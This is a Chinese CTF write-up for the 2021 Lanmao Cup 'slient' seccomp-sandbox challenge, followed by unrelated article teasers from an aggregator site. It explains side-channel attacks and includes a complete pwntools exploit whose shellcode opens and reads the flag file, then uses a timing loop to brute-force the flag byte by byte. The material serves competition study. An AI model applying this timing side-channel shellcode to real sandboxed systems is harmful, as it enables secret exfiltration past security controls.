CTF-PWN-沙箱逃脱-【侧信道爆破】(2021-蓝帽杯初赛-slient)

文章目录

  • 侧信道攻击
  • 测信道爆破
  • 2021-蓝帽杯初赛-slient
  • 先自己准备个flag
  • 检查
  • 沙箱
  • IDA源码
    • main
    • sub_A60()
  • 相关知识
    • size_t getpagesize(void)
    • void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
    • range(i,j)
    • 编写相关shellcode
    • 发现
    • "'的用法
    • 此时爆破错误的异常
    • Python ASCII码与字符相互转换
  • 思路
    • 相关判断
  • exp
  • 结果

侧信道攻击

侧信道攻击是一种安全攻击手段,它利用物理信息泄露来获取加密系统的秘密信息,如密钥等。侧信道攻击通常涉及以下方面:

  • 电磁泄露:通过监测设备产生的电磁辐射来获取信息。
  • 时序分析:通过分析加密操作的执行时间来推断密钥。
  • 功率分析:也称为差分功耗分析(DPA),通过测量设备在处理不同数据时的功耗变化来推断密钥。
  • 声学泄露:通过分析设备发出的声音来获取信息。
  • 故障分析:故意引入错误或故障来破坏加密过程,从而获取关键信息。
  • 此外,在实际操作中,攻击者可能会逐位猜测密钥,并通过观察侧信道信息的变化来判断猜测是否正确。例如,如果攻击者猜测的字符与实际密钥的某一位相同,可能会导致加密设备在某个特定时刻产生特定的电磁信号、声音或功耗变化。通过这种方式,攻击者可以逐步推断出完整的密钥。

侧信道攻击是一种非正常的攻击手段,是一种利用计算机不经意间发出的声音来判断计算机的执行情况,比如通过散热器的响声大小来判断计算机所运行程序的复杂性;通过窃听敲击键盘的声音来及进行破译你所输入的是什么;或者说是通过计算机组件再执行某些程序的时候需要消耗不同的电量,来监视你的计算机。

测信道爆破

2021-蓝帽杯初赛-slient

先自己准备个flag

说烂了已经不说了

检查

在这里插入图片描述

沙箱

在这里插入图片描述
看出沙箱只运行open和read

IDA源码

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{unsigned int v3; // eax__int128 v4; // xmm0__int128 v5; // xmm1__int128 v6; // xmm2__int64 v8; // [rsp+48h] [rbp-68h]__int64 v9; // [rsp+50h] [rbp-60h]__int128 buf; // [rsp+60h] [rbp-50h] BYREF__int128 v11; // [rsp+70h] [rbp-40h]__int128 v12; // [rsp+80h] [rbp-30h]__int128 v13; // [rsp+90h] [rbp-20h]unsigned __int64 v14; // [rsp+A0h] [rbp-10h]v14 = __readfsqword(0x28u);sub_A60(a1, a2, a3);v13 = 0LL;v12 = 0LL;v11 = 0LL;buf = 0LL;puts("Welcome to silent execution-box.");v3 = getpagesize();v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);read(0, &buf, 0x40uLL);prctl(38, 1LL, 0LL, 0LL, 0LL);prctl(4, 0LL);v8 = seccomp_init(0LL);seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);seccomp_load(v8);v4 = buf;v5 = v11;v6 = v12;*(_OWORD *)(v9 + 48) = v13;*(_OWORD *)(v9 + 32) = v6;*(_OWORD *)(v9 + 16) = v5;*(_OWORD *)v9 = v4;((void (__fastcall *)(__int64, __int64, __int64))v9)(3735928559LL, 3735928559LL, 3735928559LL);return 0LL;
}

即输入0x40的内容,然后执行该内容

sub_A60()

int sub_A60()
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);return setvbuf(stderr, 0LL, 2, 0LL);
}

相关知识

size_t getpagesize(void)

函数说明:返回一分页的大小,单位为字节(byte)。此为系统的分页大小,不一定会和硬件分页大小相同。

返回值:内存分页大小。

附加说明:在 Intel x86 上其返回值应为4096即0x1000

使用getpagesize函数获得一页内存大小

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

深入理解mmap

If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.

Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。

  • addr:指定映射区的起始地址。通常设置为 NULL,让系统自动选择合适的地址。如果设置了 MAP_FIXED 标志,则需要提供一个具体的地址。
  • length:映射区的长度,即要映射的内存大小,单位为字节。
  • prot:映射区的访问权限,可以是以下值的组合:
    PROT_READ:可读
    PROT_WRITE:可写
    PROT_EXEC:可执行
    PROT_NONE:不可访问
  • flags:映射区的属性,可以是以下值的组合:
    MAP_SHARED:对映射区的写入操作会写回到文件中
    MAP_PRIVATE:对映射区的写入操作不会写回到文件中
    MAP_FIXED:使用指定的映射起始地址,如果指定的地址无法成功建立映射,则调用失败
    fd:文件描述符,指定映射区的数据来源。如果为 -1,表示不关联任何文件。
  • offset:文件映射偏移量,表示从文件的哪个位置开始映射。通常设置为 0。
  • 返回值:
    成功时,返回映射区的起始地址;
    失败时,返回 MAP_FAILED(通常为 (void *)-1)。

range(i,j)

对应为i到j-1

编写相关shellcode

函数生成官方文档

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

发现

发现open内的参数同样为字符串时对应的shellcode会有所区别

在这里插入图片描述
当参数为字符串和无字符串时对应的内容也不同
在这里插入图片描述

"'的用法

三引号用法

此时爆破错误的异常

在这里插入图片描述

Python ASCII码与字符相互转换

在这里插入图片描述

思路

先打开文件然后读出文件内容到某个可访问的位置,然后再一一比较各个字节的字符。由于只能打开文件和读入文件,为了区分比较各个字节结果的对错,可以用到接受时的时间间隔。

如果比较成功了,那么程序将进入死循环(我们可以通过time这个模块来获取时间戳的差值),比如时间超过2秒那么我们对于flag的一个字节就爆破成功,超过两秒的原因是在未出现异常时设置了持续时间3秒的接收的操作,持续三秒后时间间隔肯定大于2秒,而出现异常的也就是没进入循环的(比较错误的)会出现异常。 同时配上python中的try和except这两个关键字就可以实现逐位的爆破。

相关判断

      try:f.recv(timeout=3)# python代码执行到这里时该语句持续三秒,啥都没有那么接受空,而此时如果比较正确,那么将持续三秒,如果出现异常,那么直接到异常处理,异常处理时间间隔小于2秒f.close()except:passf.close()end=time.time()if end-begin>2:flag=flag+chr(j)print("第",s,"位"+"到第",e-1,"位的内容:",flag)break

exp

需要注意的是,如果我们open的文件过多,系统会发生错误:OSError: [Errno 24] Too many open files,所以我们每次爆破的flag的字节数有限制,需要对索引进行调整
在这里插入图片描述
但我发现我的exp不会有这种情况
在这里插入图片描述

import time
from pwn  import*context(os="linux",arch="amd64",log_level="debug")#gdb.attach(f,"b main")s=0  #0 4 8  12 16 20 
e=4 #4 8 12 16 20 24 
flag=""
for i in range(s,e):for j in range(0x20,0x80):f=process("./chall")f.recvuntil(b"Welcome to silent execution-box.\n")payload=shellcraft.amd64.open("flag")payload=payload+shellcraft.amd64.read("rax",0x10080,30) # mmap分配按照一定规则分配,此时得到地址为0x10000payload=payload+'''loop:cmp byte ptr [0x10080+{0}],{1}je loop'''.format(i,j)f.sendline(asm(payload))begin=time.time()try:f.recv(timeout=3)# python代码执行到这里时该语句持续三秒,啥都没有那么接受空,而此时如果比较正确,那么将持续三秒,如果出现异常,那么直接到异常处理,异常处理时间间隔小于2秒f.close()except:passf.close()end=time.time()if end-begin>2:flag=flag+chr(j)print("第",s,"位"+"到第",e-1,"位的内容:",flag)break

结果

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/678228.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nginx实战:3-日志按天分割

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、方式1:定时任务执行分割脚本 1.分割日志脚本 2.添加定时任务 二、方式2:logrotate配置分割 1.logrotate简单介绍 2.新增切割ngi…

互联网加竞赛 基于深度学习的视频多目标跟踪实现

文章目录 1 前言2 先上成果3 多目标跟踪的两种方法3.1 方法13.2 方法2 4 Tracking By Detecting的跟踪过程4.1 存在的问题4.2 基于轨迹预测的跟踪方式 5 训练代码6 最后 1 前言 🔥 优质竞赛项目系列,今天要分享的是 基于深度学习的视频多目标跟踪实现 …

k8s-深入理解Service(为Pod提供负载均衡和发现)

一、Service存在的意义 二、Service的定义和创建 Pod与Service的关系 Service的定义和创建 三、Service使用NodePort对外暴露应用 四种类型,常用的三种: 指定Service的NodePort端口 在实际生产中,k8s的集群不会直接暴露在公网中&#xff0c…

linux应用 进程间通信之信号量(System V)

1、定义 System V 信号量是一种用于进程间同步和互斥的机制,它是 System V IPC(Inter-Process Communication,进程间通信)机制的一部分。信号量通常用于控制对共享资源的访问,以避免竞争条件(race conditi…

2.9日学习打卡----初学RabbitMQ(四)

2.9日学习打卡 一.RabbitMQ 死信队列 在MQ中,当消息成为死信(Dead message)后,消息中间件可以将其从当前队列发送到另一个队列中,这个队列就是死信队列。而在RabbitMQ中,由于有交换机的概念,实…

3.2 Binance_interface APP U本位合约行情-交易规则信息

Binance_interface APP U本位合约行情-交易规则信息 Github地址PyTed量化交易研究院 量化交易研究群(VX) py_ted目录 Binance_interface APP U本位合约行情-交易规则信息1. APP U本位合约行情-交易规则信息函数总览2. 模型实例化3. 以缓存的方式获取一个产品的交易规则与交易…

每日五道java面试题之java基础篇(一)

第一题 什么是java? PS:碎怂 Java,有啥好介绍的。哦,⾯试啊。 Java 是⼀⻔⾯向对象的编程语⾔,不仅吸收了 C语⾔的各种优点,还摒弃了 C⾥难以理解的多继承、指针等概念,因此 Java 语⾔具有功能强⼤和简单易…

【Linux系统 04】OpenEuler配置

目录 一、镜像文件下载 二、配置静态IP 三、启动SSH连接 四、免密登录 五、安装常用软件 一、镜像文件下载 官方下载地址:openEuler下载 | 欧拉系统ISO镜像 | openEuler社区官网 选择一个版本,lopenEuler通常有两种版本: 创新版&…

vtkActor 设置特定图层 显示及置顶显示

问题,有时我们需要显示某个 Actor 在相机最前面,可以遮盖后面的物体;显示在顶层有点不准确;因为这个还相机位置也有关系; 这里讲三种情况: 1. 设置 Mapper 顶层,尝试了一下,可以用于某些场景&…

rust递归遍历磁盘目录及文件

Std库实现 //遍历dir目录&#xff0c;找出修改日期距离当前超过age天的文件名称&#xff0c;存入file_list中 fn visit_dir(dir: &Path, file_list: &mut Vec<String>, age: u64) -> io::Result<()> {if dir.is_dir() {for entry in fs::read_dir(dir)…

假期2.8

数据类型与作用域练习 1、选择题 1.1、以下选项中,不能作为合法常量的是 ____B______ A&#xff09;1.234e04 B&#xff09;1.234e0.4 C&#xff09;1.234e4 D&#xff09;1.234e0 1.2、以下定义变量并初始化错误的是_____D________。 A) char c1 ‘H’ &a…

Redis 双写一致性

问题&#xff1a;redis 作为缓存&#xff0c;mysql 的数据如何与 redis 进行同步呢&#xff1f;&#xff08;双写一致性&#xff09; 双写一致性是指当修改了数据库的数据也要同时更新缓存的数据&#xff0c;缓存和数据库的数据要保持一致。 读操作&#xff1a;缓存命中&…

Ubuntu防火墙设置

一台trinitycore服务器&#xff0c;使用frp放开了它的8085端口&#xff0c;但是客户端无法连通它的这个端口&#xff0c;怀疑它开了防火墙&#xff0c;但是以前是使用宝塔面板开的防火墙&#xff0c;现在宝塔面板已经被删除了&#xff0c;不太确定它是否还有防火墙&#xff0c;…

C++ 设计模式之单例模式

单例模式确保一个类只有一个实例&#xff0c;并提供一个全局访问点。以下是一个简单的C例程&#xff0c;演示了单例模式的实现。在这个例子中&#xff0c;我们创建了一个名为 Singleton 的类&#xff0c;它只能创建一个实例。 #include <iostream>class Singleton { pub…

深入探究 HTTP 简化:httplib 库介绍

✏️心若有所向往&#xff0c;何惧道阻且长 文章目录 简介特性主要类介绍httplib::Server类httplib::Client类httplib::Request类httplib::Response类 示例服务器客户端 总结 简介 在当今的软件开发中&#xff0c;与网络通信相关的任务变得日益普遍。HTTP&#xff08;Hypertext…

一文彻底搞懂Java中wait和sleep方法的区别

文章目录 1. 所属类和调用方式2. 对锁的处理机制3. 唤醒机制4. 用途5. 异常处理6. 总结 wait()和sleep()方法都是Java中用于线程控制的方法&#xff0c;它们都让线程暂停执行&#xff0c;但它们之间存在一些区别&#xff1a; 1. 所属类和调用方式 wait()方法属于Object类&…

QT+OSG/osgEarth编译之八十四:osgdb_osg+Qt编译(一套代码、一套框架,跨平台编译,版本:OSG-3.6.5插件库osgdb_osg)

文章目录 一、osgdb_osg介绍二、文件分析三、pro文件四、编译实践一、osgdb_osg介绍 osgDB是OpenSceneGraph(OSG)库中的一个模块,用于加载和保存3D场景数据。osgDB_osg是osgDB模块中的一个插件,它提供了对OSG格式的支持。 OSG格式是OpenSceneGraph库使用的一种二进制文件…

备战蓝桥杯---数学基础2

学了常见的筛法&#xff0c;让我们看个题&#xff1a; 首先&#xff0c;我们知道欧拉筛复杂度为nlognlogn,这题可以承受&#xff0c;但是空间上存不了&#xff0c;而如果我们枚举1--n^1/2&#xff0c;复杂度不允许。 其实在枚举的方法中&#xff0c;我们只需找出有无在【2&…

JavaScript脚本:async,defer

&#x1f9d1;‍&#x1f393; 个人主页&#xff1a;《爱蹦跶的大A阿》 &#x1f525;当前正在更新专栏&#xff1a;《VUE》 、《JavaScript保姆级教程》、《krpano》、《krpano中文文档》 ​ ​ ✨ 前言 JavaScript 脚本 是 web 开发中的重要组成部分&#xff0c;用于为网…

学习数据结构和算法的第5天

空间复杂度及其常见案例 空间复杂度 空间复杂度也是一个数学函数表达式&#xff0c;是对一个算法在运行过程中临时占用存储空间大小的量度。 空间复杂度不是程序占用了多少bytes的空间&#xff0c;因为这个也没太大意义&#xff0c;所以空间复杂度算的是变量的个数。空间复杂度…